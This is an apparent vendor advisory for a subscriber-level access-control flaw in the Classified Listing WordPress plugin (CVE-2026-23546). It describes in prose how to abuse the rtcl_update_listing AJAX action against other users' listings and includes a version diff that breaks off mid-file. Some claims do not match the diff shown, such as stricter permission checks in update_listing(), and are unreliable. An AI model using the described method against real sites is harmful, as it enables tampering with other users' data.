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Published : March 18, 2026

CVE-2026-23546: Classified Listing – AI-Powered Classified ads & Business Directory Plugin <= 5.3.4 – Authenticated (Subscriber+) Sensitive Data Exposure (classified-listing)

CVE ID CVE-2026-23546
Plugin classified-listing
Severity Medium (CVSS 4.3)
CWE 200
Vulnerable Version 5.3.4
Patched Version 5.3.5
Disclosed February 22, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-23546:
The Classified Listing plugin for WordPress contains a sensitive data exposure vulnerability affecting versions up to and including 5.3.4. This vulnerability allows authenticated attackers with Subscriber-level access or higher to extract sensitive user and configuration data through improper access control in AJAX endpoints.

Root Cause:
The vulnerability exists in the FormBuilderAjax class within `/classified-listing/app/Controllers/Ajax/FormBuilderAjax.php`. The `update_listing()` function (lines 67-66) performs insufficient authorization checks. The condition at line 77 checks `!Functions::current_user_can(‘edit_’ . rtcl()->post_type, $listing_id)` but fails to properly validate ownership or administrative privileges when processing listing updates. The function also exposes multiple AJAX endpoints to unauthenticated users via `wp_ajax_nopriv_` hooks (lines 47-58), including `rtcl_fb_get_tags`, `rtcl_fb_get_category`, and `rtcl_fb_get_location`.

Exploitation:
Attackers can exploit this vulnerability by sending authenticated POST requests to `/wp-admin/admin-ajax.php` with the `action` parameter set to `rtcl_update_listing`. The request must include a valid `listingId` parameter pointing to another user’s listing, along with form data in the `formData` parameter. Alternatively, unauthenticated attackers can access sensitive taxonomy data through endpoints like `rtcl_fb_get_tags`, `rtcl_fb_get_category`, and `rtcl_fb_get_location` when the `Functions::is_enable_post_for_unregister()` setting is enabled.

Patch Analysis:
The patch adds proper authentication checks by including the `is_user_logged_in` variable in the JavaScript localization data (line 681 in ScriptLoader.php). This allows frontend code to conditionally restrict AJAX calls. The patch also modifies the `update_listing()` function to enforce stricter permission checks, preventing users from modifying listings they don’t own. Cache clearing hooks were added to AddTermMetaField.php to ensure data consistency after taxonomy changes.

Impact:
Successful exploitation allows attackers to read and modify sensitive listing data belonging to other users, including contact information, pricing details, geographic coordinates, and custom field data. The vulnerability could lead to unauthorized data collection, business disruption, and privacy violations by exposing personally identifiable information and business-sensitive data.

Differential between vulnerable and patched code

Code Diff 
--- a/classified-listing/app/Controllers/Admin/Meta/AddTermMetaField.php
+++ b/classified-listing/app/Controllers/Admin/Meta/AddTermMetaField.php
@@ -2,6 +2,7 @@

 namespace RtclControllersAdminMeta;

+use RtclHelpersCache;
 use RtclHelpersFunctions;
 use RtclResourcesOptions;

@@ -26,6 +27,10 @@
 		add_action( 'edited_' . rtcl()->location, [ __CLASS__, 'save_taxonomy_custom_meta' ], 10, 2 );
 		add_action( 'create_' . rtcl()->location, [ __CLASS__, 'save_taxonomy_custom_meta' ], 10, 2 );

+		add_action( 'created_term', [ Cache::class, 'clear_cache_on_term_change'], 10, 3 );
+		add_action( 'edited_term', [ Cache::class, 'clear_cache_on_term_change'], 10, 3 );
+		add_action( 'delete_term', [ Cache::class, 'clear_cache_on_term_change'], 10, 3 );
+
 		add_filter( 'manage_' . rtcl()->category . '_custom_column', [
 			$this,
 			'add_taxonomy_order_column_value',
--- a/classified-listing/app/Controllers/Admin/ScriptLoader.php
+++ b/classified-listing/app/Controllers/Admin/ScriptLoader.php
@@ -678,6 +678,7 @@
 			'rtcl_location'                            => get_query_var( 'rtcl_location' ),
 			'rtcl_location_base'                       => $location_base,
 			'user_login_alert_message'                 => esc_html__( 'Sorry, you need to login first.', 'classified-listing' ),
+			'is_user_logged_in'                        => is_user_logged_in(),
 			/* translators: Image pending count */
 			'upload_limit_alert_message'               => esc_html__( 'Sorry, you have only %d images pending.', 'classified-listing' ),
 			'delete_label'                             => esc_html__( 'Delete Permanently', 'classified-listing' ),
--- a/classified-listing/app/Controllers/Ajax/Checkout.php
+++ b/classified-listing/app/Controllers/Ajax/Checkout.php
@@ -39,8 +39,8 @@
 						'listing_id'     => 0,
 						'pricing_id'     => $pricing_id,
 						'payment_method' => $payment_method,
-					]
-				)
+					],
+				),
 			);
 			$pricing        = rtcl()->factory->get_pricing( $checkout_data['pricing_id'] );
 			$gateway        = Functions::get_payment_gateway( $checkout_data['payment_method'] );
@@ -68,11 +68,11 @@
 					$multiple_tax = self::get_tax_amount( $country, $state, $pricing_price );
 					if ( Functions::is_enable_multiple_tax() ) {
 						foreach ( $multiple_tax as $single_tax ) {
-							$tax_amount = $tax_amount + $single_tax['amount'];
+							$tax_amount = $tax_amount + $single_tax['raw_amount'];
 						}
 					} else {
 						$single_tax = current( $multiple_tax );
-						$tax_amount = $single_tax['amount'];
+						$tax_amount = $single_tax['raw_amount'];
 					}
 					$total_price = $pricing_price + $tax_amount;
 				}
@@ -147,7 +147,6 @@
 							do_action( 'rtcl_checkout_process_error', $order, $payment_process_data );
 						}
 					} catch ( Exception $e ) {
-
 					}
 				} else {
 					Functions::add_notice( esc_html__( 'Error to create payment.', 'classified-listing' ), 'error' );
@@ -168,7 +167,7 @@
 				'success'         => $success,
 				'redirect_url'    => $redirect_url,
 				'gateway_id'      => $gateway_id,
-			]
+			],
 		);
 		wp_send_json( apply_filters( 'rtcl_checkout_process_ajax_response_args', $res_data ) );
 	}
@@ -193,18 +192,17 @@
 			$error = false;

 			$multiple_tax = self::get_tax_amount( $country, $state, $price );
-
 		} else {
 			$message = __( 'Session expired.', 'classified-listing' );
 		}

 		if ( Functions::is_enable_multiple_tax() ) {
 			foreach ( $multiple_tax as $single_tax ) {
-				$tax_amount = $tax_amount + $single_tax['amount'];
+				$tax_amount = $tax_amount + $single_tax['raw_amount'];
 			}
 		} else {
 			$single_tax = current( $multiple_tax );
-			$tax_amount = $single_tax['amount'];
+			$tax_amount = $single_tax['raw_amount'];
 		}

 		$total_amount = $price + $tax_amount;
@@ -218,7 +216,7 @@
 				'pricing_price'       => Functions::get_payment_formatted_price( $price ),
 				'tax_amount'          => Functions::get_payment_formatted_price( $tax_amount ),
 				'total_amount'        => Functions::get_payment_formatted_price( $total_amount ),
-			]
+			],
 		);
 	}

@@ -262,8 +260,8 @@
 					 WHERE country = %s
 					 AND country_state = ''
 					 ORDER BY tax_rate_priority DESC",
-					$country
-				)
+					$country,
+				),
 			);

 			if ( empty( $results ) ) {
@@ -284,8 +282,9 @@
 				$tax_amount = ( $tax_rate * $pricing_price ) / 100;

 				$multiple_tax[] = [
-					'label'  => $row->tax_rate_name,
-					'amount' => Functions::get_payment_formatted_price( $tax_amount ),
+					'label'      => $row->tax_rate_name,
+					'amount'     => Functions::get_payment_formatted_price( $tax_amount ),
+					'raw_amount' => $tax_amount,
 				];
 			}
 		}
--- a/classified-listing/app/Controllers/Ajax/FormBuilderAjax.php
+++ b/classified-listing/app/Controllers/Ajax/FormBuilderAjax.php
@@ -38,7 +38,7 @@
 		add_action( 'wp_ajax_rtcl_update_listing', [ $this, 'update_listing' ] );
 		add_action( 'wp_ajax_rtcl_fb_write_with_ai', [ $this, 'write_with_ai' ] );

-		if ( !is_user_logged_in() && Functions::is_enable_post_for_unregister() ) {
+		if ( ! is_user_logged_in() && Functions::is_enable_post_for_unregister() ) {
 			add_action( 'wp_ajax_nopriv_rtcl_get_terms', [ $this, 'get_terms_callback' ] );
 			add_action( 'wp_ajax_nopriv_rtcl_fb_get_category', [ $this, 'get_category' ] );
 			add_action( 'wp_ajax_nopriv_rtcl_fb_get_location', [ $this, 'get_location' ] );
@@ -46,7 +46,7 @@
 			add_action( 'wp_ajax_nopriv_rtcl_fb_gallery_image_upload', [ $this, 'gallery_image_upload' ] );
 			add_action( 'wp_ajax_nopriv_rtcl_fb_gallery_image_update_as_feature', [
 				$this,
-				'gallery_image_update_as_feature'
+				'gallery_image_update_as_feature',
 			] );
 			add_action( 'wp_ajax_nopriv_rtcl_fb_gallery_image_delete', [ $this, 'gallery_image_delete' ] );
 			add_action( 'wp_ajax_nopriv_rtcl_fb_file_upload', [ $this, 'file_upload' ] );
@@ -58,7 +58,6 @@

 			add_action( 'wp_ajax_nopriv_rtcl_fb_get_tags', [ $this, 'get_tags' ] );
 		}
-
 	}

 	/**
@@ -67,46 +66,46 @@
 	public static function update_listing(): void {
 		Functions::clear_notices();// Clear previous notice

-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( 'Session error !!', 'classified-listing' ) );

 			return;
 		}

-		$isAdminEnd = !empty( $_POST['isAdminEnd'] );
+		$isAdminEnd  = ! empty( $_POST['isAdminEnd'] );
 		$postingType = 'new';
-		$listing_id = !empty( $_POST['listingId'] ) ? absint( $_POST['listingId'] ) : 0;
-		$listing = null;
-		if ( ( $listing_id && ( !( $listing = rtcl()->factory->get_listing( $listing_id ) ) || ( $isAdminEnd && !current_user_can( 'edit_rtcl_listing', $listing_id ) ) || ( !$isAdminEnd && !Functions::current_user_can( 'edit_' . rtcl()->post_type, $listing_id ) ) ) ) || ( !is_user_logged_in() && !Functions::is_enable_post_for_unregister() ) ) {
+		$listing_id  = ! empty( $_POST['listingId'] ) ? absint( $_POST['listingId'] ) : 0;
+		$listing     = null;
+		if ( ( $listing_id && ( ! ( $listing = rtcl()->factory->get_listing( $listing_id ) ) || ( $isAdminEnd && ! current_user_can( 'edit_rtcl_listing', $listing_id ) ) || ( ! $isAdminEnd && ! Functions::current_user_can( 'edit_' . rtcl()->post_type, $listing_id ) ) ) ) || ( ! is_user_logged_in() && ! Functions::is_enable_post_for_unregister() ) ) {
 			wp_send_json_error( apply_filters( 'rtcl_fb_not_found_error_message', __( 'You do not have sufficient permissions to access this page.', 'classified-listing' ), $_REQUEST, 'permission_error' ) );

 			return;
 		}

-		if ( !$listing || $listing->get_status() === 'rtcl-temp' ) {
-			$form_id = !empty( $_POST['formId'] ) ? absint( $_POST['formId'] ) : 0;
+		if ( ! $listing || $listing->get_status() === 'rtcl-temp' ) {
+			$form_id = ! empty( $_POST['formId'] ) ? absint( $_POST['formId'] ) : 0;
 		} else {
 			$form_id = absint( get_post_meta( $listing_id, '_rtcl_form_id', true ) );
 		}

-		if ( ( $isAdminEnd || ( $listing && !$form_id ) ) && !empty( $_POST['formId'] ) ) {
+		if ( ( $isAdminEnd || ( $listing && ! $form_id ) ) && ! empty( $_POST['formId'] ) ) {
 			$form_id = absint( $_POST['formId'] );
 		}

-		if ( empty( $form_id ) || !$form = Form::query()->find( $form_id ) ) {
+		if ( empty( $form_id ) || ! $form = Form::query()->find( $form_id ) ) {
 			wp_send_json_error( apply_filters( 'rtcl_fb_not_found_error_message', esc_html__( 'Form not found !!', 'classified-listing' ) ), $_REQUEST );

 			return;
 		}

-		if ( !empty( $_POST['formData'] ) ) {
+		if ( ! empty( $_POST['formData'] ) ) {
 			parse_str( $_POST['formData'], $formData );
 		} else {
 			$formData = [];
 		}

 		$sections = $form->sections;
-		$fields = $form->fields;
+		$fields   = $form->fields;
 		if ( empty( $sections ) || empty( $fields ) ) {
 			wp_send_json_error( apply_filters( 'rtcl_error_update_listing', __( 'Missing form field', 'classified-listing' ) ) );

@@ -114,7 +113,7 @@
 		}
 		$errors = FBHelper::formDataValidation( $formData, $form, $listing );

-		if ( !empty( $errors ) ) {
+		if ( ! empty( $errors ) ) {
 			wp_send_json_error( apply_filters( 'rtcl_error_validation_update_listing', [ 'errors' => $errors ], $formData, $sections ) );

 			return;
@@ -131,9 +130,9 @@
 		}

 		// Data prepare
-		$user_id = get_current_user_id();
+		$user_id             = get_current_user_id();
 		$post_for_unregister = Functions::is_enable_post_for_unregister();
-		if ( !is_user_logged_in() && $post_for_unregister ) {
+		if ( ! is_user_logged_in() && $post_for_unregister ) {
 			if ( empty( $formData['email'] ) ) {
 				wp_send_json_error( apply_filters( 'rtcl_error_update_listing', [ 'missing_required_email' => __( 'Missing required email to register user', 'classified-listing' ) ] ) );

@@ -153,12 +152,12 @@
 			}
 		}

-		$metaData = [];
-		$taxonomy = [
+		$metaData           = [];
+		$taxonomy           = [
 			'category' => [],
-			'location' => []
+			'location' => [],
 		];
-		$post_arg = [];
+		$post_arg           = [];
 		$new_listing_status = Functions::get_option_item( 'rtcl_general_settings', 'new_listing_status', 'pending' );
 		if ( $listing ) {
 			if ( ( $listing->get_listing()->post_author > 0 && ( ( 'rtcl-temp' === $listing->get_listing()->post_status && $listing->get_listing()->post_author === get_current_user_id() ) || $listing->get_listing()->post_author == absint( apply_filters( 'rtcl_listing_post_user_id', get_current_user_id() ) ) ) ) || ( $listing->get_listing()->post_author == 0 && $post_for_unregister ) ) {
@@ -166,7 +165,7 @@
 					$post_arg['post_status'] = $new_listing_status;
 					$post_arg['post_author'] = $user_id;
 				} else {
-					$postingType = 'update';
+					$postingType       = 'update';
 					$status_after_edit = Functions::get_option_item( 'rtcl_general_settings', 'edited_listing_status' );
 					if ( 'publish' === $listing->get_listing()->post_status && $status_after_edit && $listing->get_listing()->post_status !== $status_after_edit ) {
 						$post_arg['post_status'] = $status_after_edit;
@@ -182,127 +181,138 @@
 			$post_arg = [
 				'post_status' => $new_listing_status,
 				'post_author' => $user_id,
-				'post_type'   => rtcl()->post_type
+				'post_type'   => rtcl()->post_type,
 			];
 		}
-
+
 		foreach ( $fields as $fieldId => $field ) {
-			$name = !empty( $field['name'] ) ? $field['name'] : '';
-			$element = $field['element'];
-			$rawValue = $formData[$name] ?? '';
+			$name     = ! empty( $field['name'] ) ? $field['name'] : '';
+			$element  = $field['element'];
+			$rawValue = $formData[ $name ] ?? '';
 			if ( isset( $field['preset'] ) && 1 == $field['preset'] ) {
 				if ( 'title' === $element ) {
-					if ( !$isAdminEnd ) {
+					if ( ! $isAdminEnd ) {
 						$post_arg['post_title'] = FBHelper::sanitizeFieldValue( $rawValue, $field );
 					}
 				} elseif ( 'description' === $element ) {
-					if ( !$isAdminEnd ) {
+					if ( ! $isAdminEnd ) {
 						$post_arg['post_content'] = FBHelper::sanitizeFieldValue( $rawValue, $field );
 					}
 				} elseif ( 'listing_type' === $element ) {
 					$metaData[] = [
 						'name'  => 'ad_type',
 						'field' => $field,
-						'value' => $rawValue
+						'value' => $rawValue,
 					];
 				} elseif ( 'excerpt' === $element ) {
 					$post_arg['post_excerpt'] = FBHelper::sanitizeFieldValue( $rawValue, $field );
 				} elseif ( 'category' === $element ) {
 					$taxonomy['category'] = is_array( $rawValue ) ? array_filter( array_map( function ( $tag ) {
-						return !empty( $tag['term_id'] ) ? absint( $tag['term_id'] ) : '';
+						return ! empty( $tag['term_id'] ) ? absint( $tag['term_id'] ) : '';
 					}, $rawValue ) ) : [];
 				} elseif ( 'location' === $element ) {
 					$taxonomy['location'] = is_array( $rawValue ) ? array_filter( array_map( function ( $tag ) {
-						return !empty( $tag['term_id'] ) ? absint( $tag['term_id'] ) : '';
+						return ! empty( $tag['term_id'] ) ? absint( $tag['term_id'] ) : '';
 					}, $rawValue ) ) : [];
 				} elseif ( 'tag' === $element ) {
 					$taxonomy['tag'] = is_array( $rawValue ) ? array_filter( array_map( function ( $tag ) {
-						return !empty( $tag['term_id'] ) ? absint( $tag['term_id'] ) : '';
+						return ! empty( $tag['term_id'] ) ? absint( $tag['term_id'] ) : '';
 					}, $rawValue ) ) : [];
 				} elseif ( 'zipcode' === $element ) {
 					$metaData[] = [
 						'name'  => 'zipcode',
 						'field' => $field,
-						'value' => Functions::sanitize( $rawValue )
+						'value' => Functions::sanitize( $rawValue ),
 					];
 				} elseif ( 'view_count' === $element ) {
 					$metaData[] = [
 						'name'  => '_views',
 						'field' => $field,
-						'value' => Functions::sanitize( $rawValue )
+						'value' => Functions::sanitize( $rawValue ),
 					];
 				} elseif ( 'address' === $element ) {
 					$metaData[] = [
 						'name'  => 'address',
 						'field' => $field,
-						'value' => FBHelper::sanitizeFieldValue( $rawValue, $field )
+						'value' => FBHelper::sanitizeFieldValue( $rawValue, $field ),
 					];
 				} elseif ( 'geo_location' === $element ) {
+					$mapData    = $formData['map'] ?? [];
 					$metaData[] = [
 						'name'  => '_rtcl_geo_address',
 						'field' => $field,
-						'value' => Functions::sanitize( $rawValue )
+						'value' => Functions::sanitize( $rawValue ),
+					];
+					$metaData[] = [
+						'name'  => 'latitude',
+						'field' => $field,
+						'value' => isset( $mapData['latitude'] ) ? Functions::sanitize( $mapData['latitude'] ) : '',
+					];
+					$metaData[] = [
+						'name'  => 'longitude',
+						'field' => $field,
+						'value' => isset( $mapData['longitude'] ) ? Functions::sanitize( $mapData['longitude'] ) : '',
 					];
 				} elseif ( 'phone' === $element ) {
 					$metaData[] = [
 						'name'  => 'phone',
 						'field' => $field,
-						'value' => Functions::sanitize( $rawValue )
+						'value' => Functions::sanitize( $rawValue ),
 					];
 				} elseif ( 'whatsapp' === $element ) {
 					$metaData[] = [
 						'name'  => '_rtcl_whatsapp_number',
 						'field' => $field,
-						'value' => Functions::sanitize( $rawValue )
+						'value' => Functions::sanitize( $rawValue ),
 					];
 				} elseif ( 'email' === $element ) {
 					$metaData[] = [
 						'name'  => 'email',
 						'field' => $field,
-						'value' => Functions::sanitize( $rawValue, 'email' )
+						'value' => Functions::sanitize( $rawValue, 'email' ),
 					];
 				} elseif ( 'website' === $element ) {
 					$metaData[] = [
 						'name'  => 'website',
 						'field' => $field,
-						'value' => FBHelper::sanitizeFieldValue( $rawValue, $field )
+						'value' => FBHelper::sanitizeFieldValue( $rawValue, $field ),
 					];
 				} elseif ( 'social_profiles' === $element ) {
 					$metaData[] = [
 						'name'  => '_rtcl_social_profiles',
 						'field' => $field,
-						'value' => FBHelper::sanitizeFieldValue( $rawValue, $field )
+						'value' => FBHelper::sanitizeFieldValue( $rawValue, $field ),
 					];
 				} elseif ( 'pricing' === $element ) {
-					$pricing = $formData[$name];
-					if ( !empty( $field['options'] ) && in_array( 'pricing_type', $field['options'] ) && isset( $pricing['pricing_type'] ) ) {
+					$pricing = $formData[ $name ];
+					if ( ! empty( $field['options'] ) && in_array( 'pricing_type', $field['options'] ) && isset( $pricing['pricing_type'] ) ) {
 						$pricing_type = in_array( $pricing['pricing_type'], array_keys( Options::get_listing_pricing_types() ) ) ? $pricing['pricing_type'] : 'price';
-						$metaData[] = [
+						$metaData[]   = [
 							'name'  => '_rtcl_listing_pricing',
 							'field' => $field,
-							'value' => Functions::sanitize( $pricing_type )
+							'value' => Functions::sanitize( $pricing_type ),
 						];
 						if ( 'range' === $pricing_type && isset( $pricing['max_price'] ) ) {
 							$metaData[] = [
 								'name'  => '_rtcl_max_price',
 								'field' => $field,
-								'value' => Functions::format_decimal( $pricing['max_price'] )
+								'value' => Functions::format_decimal( $pricing['max_price'] ),
 							];
 						}
 					}

-					if ( !empty( $field['options'] ) && in_array( 'price_type', $field['options'] ) && isset( $pricing['price_type'] ) ) {
+					if ( ! empty( $field['options'] ) && in_array( 'price_type', $field['options'] ) && isset( $pricing['price_type'] ) ) {
 						$metaData[] = [
 							'name'  => 'price_type',
 							'field' => $field,
-							'value' => Functions::sanitize( $pricing['price_type'] )
+							'value' => Functions::sanitize( $pricing['price_type'] ),
 						];
 					}
-					if ( !empty( $field['options'] ) && in_array( 'price_unit', $field['options'] ) && isset( $pricing['price_unit'] ) ) {
+					if ( ! empty( $field['options'] ) && in_array( 'price_unit', $field['options'] ) && isset( $pricing['price_unit'] ) ) {
 						$metaData[] = [
 							'name'  => '_rtcl_price_unit',
 							'field' => $field,
-							'value' => Functions::sanitize( $pricing['price_unit'] )
+							'value' => Functions::sanitize( $pricing['price_unit'] ),
 						];
 					}

@@ -310,70 +320,70 @@
 						$metaData[] = [
 							'name'  => 'price',
 							'field' => $field,
-							'value' => Functions::format_decimal( $pricing['price'] )
+							'value' => Functions::format_decimal( $pricing['price'] ),
 						];
 					}
 				} elseif ( 'map' === $element ) {
-					$mapData = $formData[$name];
+					$mapData    = $formData[ $name ];
 					$metaData[] = [
 						'name'  => 'latitude',
 						'field' => $field,
-						'value' => isset( $mapData['latitude'] ) ? Functions::sanitize( $mapData['latitude'] ) : ''
+						'value' => isset( $mapData['latitude'] ) ? Functions::sanitize( $mapData['latitude'] ) : '',
 					];
 					$metaData[] = [
 						'name'  => 'longitude',
 						'field' => $field,
-						'value' => isset( $mapData['longitude'] ) ? Functions::sanitize( $mapData['longitude'] ) : ''
+						'value' => isset( $mapData['longitude'] ) ? Functions::sanitize( $mapData['longitude'] ) : '',
 					];
 					$metaData[] = [
 						'name'  => 'hide_map',
 						'field' => $field,
-						'value' => !empty( $mapData['hide_map'] ) ? 1 : null
+						'value' => ! empty( $mapData['hide_map'] ) ? 1 : null,
 					];
 				} elseif ( 'terms_and_condition' === $element ) {
-					if ( isset( $formData[$name] ) ) {
+					if ( isset( $formData[ $name ] ) ) {
 						$metaData[] = [
 							'name'  => 'rtcl_agree',
 							'field' => $field,
-							'value' => !empty( $formData[$name] ) ? 1 : null
+							'value' => ! empty( $formData[ $name ] ) ? 1 : null,
 						];
 					}
 				} elseif ( 'business_hours' === $element ) {
-					$bshValues = FBHelper::sanitizeFieldValue( $rawValue, $field );
+					$bshValues  = FBHelper::sanitizeFieldValue( $rawValue, $field );
 					$metaData[] = [
 						'name'  => '_rtcl_bhs',
 						'field' => $field,
-						'value' => $bshValues
+						'value' => $bshValues,
 					];
 				} elseif ( 'video_urls' === $element ) {
-					$videoUrls = FBHelper::sanitizeFieldValue( $rawValue, $field );
+					$videoUrls  = FBHelper::sanitizeFieldValue( $rawValue, $field );
 					$metaData[] = [
 						'name'  => '_rtcl_video_urls',
 						'field' => $field,
-						'value' => $videoUrls
+						'value' => $videoUrls,
 					];
 				} else {
 					$sanitizedValue = FBHelper::sanitizeFieldValue( $rawValue, $field, $listing );
-					$metaData[] = [
+					$metaData[]     = [
 						'name'  => $name,
 						'field' => $field,
-						'value' => $sanitizedValue
+						'value' => $sanitizedValue,
 					];
 				}
 			} else {
 				if ( 'file' !== $element ) {
-					$sanitizedValue = FBHelper::sanitizeFieldValue( $rawValue, $field, $listing );
-					$metaData[$name] = [
+					$sanitizedValue    = FBHelper::sanitizeFieldValue( $rawValue, $field, $listing );
+					$metaData[ $name ] = [
 						'name'  => $name,
 						'field' => $field,
-						'value' => $sanitizedValue
+						'value' => $sanitizedValue,
 					];
 				}
 			}
 		}

 		if ( $listing ) {
-			if ( 'rtcl-temp' === $listing->get_listing()->post_status && !empty( $post_arg['post_title'] ) ) {
+			if ( 'rtcl-temp' === $listing->get_listing()->post_status && ! empty( $post_arg['post_title'] ) ) {
 				$post_arg['post_name'] = $post_arg['post_title'];
 			}
 			$listingUpdate = wp_update_post( apply_filters( 'rtcl_listing_save_update_args', $post_arg, $postingType ) );
@@ -383,7 +393,6 @@
 				return;
 			}
 		} else {
-
 			$listing_id = wp_insert_post( apply_filters( 'rtcl_listing_save_update_args', $post_arg, $postingType ) );
 			if ( is_wp_error( $listing_id ) ) {
 				wp_send_json_error( apply_filters( 'rtcl_error_update_listing', [ 'wp_insert_post_error' => $listing_id->get_error_message() ] ) );
@@ -392,37 +401,37 @@
 			}
 		}

-		$listing = rtcl()->factory->get_listing( $listing_id );
+		$listing    = rtcl()->factory->get_listing( $listing_id );
 		$listing_id = $listing->get_id();

 		$metaData[] = [
 			'name'  => '_rtcl_form_id',
-			'value' => $form_id
+			'value' => $form_id,
 		];

-		if ( !empty( $taxonomy['category'] ) && ( $isAdminEnd || $postingType === 'new' || ( $listing && $postingType === 'update' && empty( $listing->get_categories() ) ) ) ) {
+		if ( ! empty( $taxonomy['category'] ) && ( $isAdminEnd || $postingType === 'new' || ( $listing && $postingType === 'update' && empty( $listing->get_categories() ) ) ) ) {
 			wp_set_object_terms( $listing_id, $taxonomy['category'], rtcl()->category );
 		}

-		if ( !empty( $taxonomy['location'] ) ) {
+		if ( ! empty( $taxonomy['location'] ) ) {
 			wp_set_object_terms( $listing_id, $taxonomy['location'], rtcl()->location );
 		}

-		wp_set_object_terms( $listing_id, !empty( $taxonomy['tag'] ) ? $taxonomy['tag'] : null, rtcl()->tag );
+		wp_set_object_terms( $listing_id, ! empty( $taxonomy['tag'] ) ? $taxonomy['tag'] : null, rtcl()->tag );

 		$metaData = apply_filters( 'rtcl_fb_metadata_fields_before_save', $metaData, $postingType );
 		/* meta data */
-		if ( !empty( $metaData ) ) {
+		if ( ! empty( $metaData ) ) {
 			foreach ( $metaData as $metaItem ) {
-				if ( !empty( $metaItem['name'] ) ) {
+				if ( ! empty( $metaItem['name'] ) ) {
 					$metaItemName = $metaItem['name'];
-					if ( !$isAdminEnd && ( $postingType === 'update' && 'ad_type' === $metaItemName && $listing->get_ad_type() ) ) {
+					if ( ! $isAdminEnd && ( $postingType === 'update' && 'ad_type' === $metaItemName && $listing->get_ad_type() ) ) {
 						continue;
 					}
 					$metaItemValue = $metaItem['value'];
-					if ( !empty( $metaItem['field'] ) ) {
+					if ( ! empty( $metaItem['field'] ) ) {
 						if ( $metaItem['field']['element'] === 'date' ) {
-							if ( is_array( $metaItemValue ) && !empty( $metaItemValue ) ) {
+							if ( is_array( $metaItemValue ) && ! empty( $metaItemValue ) ) {
 								foreach ( $metaItemValue as $key => $v ) {
 									update_post_meta( $listing_id, $metaItemName . '_' . $key, $v );
 								}
@@ -431,7 +440,7 @@
 							}
 						} elseif ( $metaItem['field']['element'] === 'checkbox' ) {
 							delete_post_meta( $listing_id, $metaItemName );
-							if ( is_array( $metaItemValue ) && !empty( $metaItemValue ) ) {
+							if ( is_array( $metaItemValue ) && ! empty( $metaItemValue ) ) {
 								foreach ( $metaItemValue as $val ) {
 									if ( $val ) {
 										add_post_meta( $listing_id, $metaItemName, $val );
@@ -439,7 +448,7 @@
 								}
 							}
 						} elseif ( $metaItem['field']['element'] === 'social_profiles' ) {
-							if ( !empty( $metaItemValue ) ) {
+							if ( ! empty( $metaItemValue ) ) {
 								update_post_meta( $listing->get_id(), '_rtcl_social_profiles', $metaItemValue );
 							} else {
 								delete_post_meta( $listing->get_id(), '_rtcl_social_profiles' );
@@ -461,7 +470,7 @@
 		if ( $postingType == 'new' ) {
 			update_post_meta( $listing_id, '_views', 0 );
 			$current_user_id = get_current_user_id();
-			$ads = absint( get_user_meta( $current_user_id, '_rtcl_ads', true ) );
+			$ads             = absint( get_user_meta( $current_user_id, '_rtcl_ads', true ) );
 			update_user_meta( $current_user_id, '_rtcl_ads', $ads + 1 );
 			if ( 'publish' === $new_listing_status ) {
 				Functions::add_default_expiry_date( $listing_id );
@@ -477,7 +486,7 @@

 		do_action( 'rtcl_listing_form_after_save_or_update', $listing, $postingType, end( $taxonomy['category'] ), $new_listing_status, [
 			'data'  => $_REQUEST,
-			'files' => $_FILES
+			'files' => $_FILES,
 		] );

 		$errorMessage = Functions::get_notices( 'error' );
@@ -500,30 +509,29 @@
 				$postingType,
 				$listing_id,
 				true,
-				$message
-			)
+				$message,
+			),
 		] ) );
-
 	}

 	public function gallery_image_delete() {
-		if ( !wp_verify_nonce( isset( $_REQUEST[rtcl()->nonceId] ) ? $_REQUEST[rtcl()->nonceId] : null, rtcl()->nonceText ) ) {
+		if ( ! wp_verify_nonce( isset( $_REQUEST[ rtcl()->nonceId ] ) ? $_REQUEST[ rtcl()->nonceId ] : null, rtcl()->nonceText ) ) {
 			wp_send_json_error( esc_html__( "Session error !!", "classified-listing" ) );

 			return;
 		}
 		$listing_id = absint( Functions::request( "listingId" ) );
-		$listing = rtcl()->factory->get_listing( $listing_id );
+		$listing    = rtcl()->factory->get_listing( $listing_id );

-		if ( $listing && !Functions::current_user_can( 'edit_' . rtcl()->post_type, $listing_id ) ) {
+		if ( $listing && ! Functions::current_user_can( 'edit_' . rtcl()->post_type, $listing_id ) ) {
 			wp_send_json_error( apply_filters( 'rtcl_fb_not_found_error_message', __( 'You do not have sufficient permissions to access this page.', 'classified-listing' ), $_REQUEST, 'permission_error' ) );

 			return;
 		}

 		$attach_id = isset( $_POST["attach_id"] ) ? absint( $_POST["attach_id"] ) : 0;
-		$attach = get_post( $attach_id );
-		if ( !$attach ) {
+		$attach    = get_post( $attach_id );
+		if ( ! $attach ) {
 			wp_send_json_error( __( "Attachment does not exist.", "classified-listing" ) );

 			return;
@@ -540,7 +548,7 @@
 			$featureImageRemoved = true;
 		}

-		if ( !wp_delete_attachment( $attach_id ) ) {
+		if ( ! wp_delete_attachment( $attach_id ) ) {
 			wp_send_json_error( __( "File could not be deleted.", "classified-listing" ) );

 			return;
@@ -551,41 +559,40 @@
 				'post_parent'    => $listing->get_id(),
 				'fields'         => 'ids',
 				'post_type'      => 'attachment',
-				'posts_per_page' => -1,
+				'posts_per_page' => - 1,
 				'post_status'    => 'inherit',
 				'orderby'        => 'menu_order',
 				'order'          => 'ASC',
 				'meta_query'     => [ // phpcs:ignore WordPress.DB.SlowDBQuery.slow_db_query_meta_query
-									  'relation' => 'OR',
-									  [
-										  'key'     => '_rtcl_attachment_type',
-										  'value'   => 'image',
-										  'compare' => '='
-									  ],
-									  [
-										  'key'     => '_rtcl_attachment_type',
-										  'compare' => 'NOT EXISTS'
-									  ]
-				]
+				                      'relation' => 'OR',
+				                      [
+					                      'key'     => '_rtcl_attachment_type',
+					                      'value'   => 'image',
+					                      'compare' => '=',
+				                      ],
+				                      [
+					                      'key'     => '_rtcl_attachment_type',
+					                      'compare' => 'NOT EXISTS',
+				                      ],
+				],
 			] );
-			if ( !empty( $attachmentIds ) ) {
+			if ( ! empty( $attachmentIds ) ) {
 				set_post_thumbnail( $listing_id, $attachmentIds[0] );
 			}
 		}
 		wp_send_json_success();
-
 	}

 	public function gallery_image_update_as_feature() {
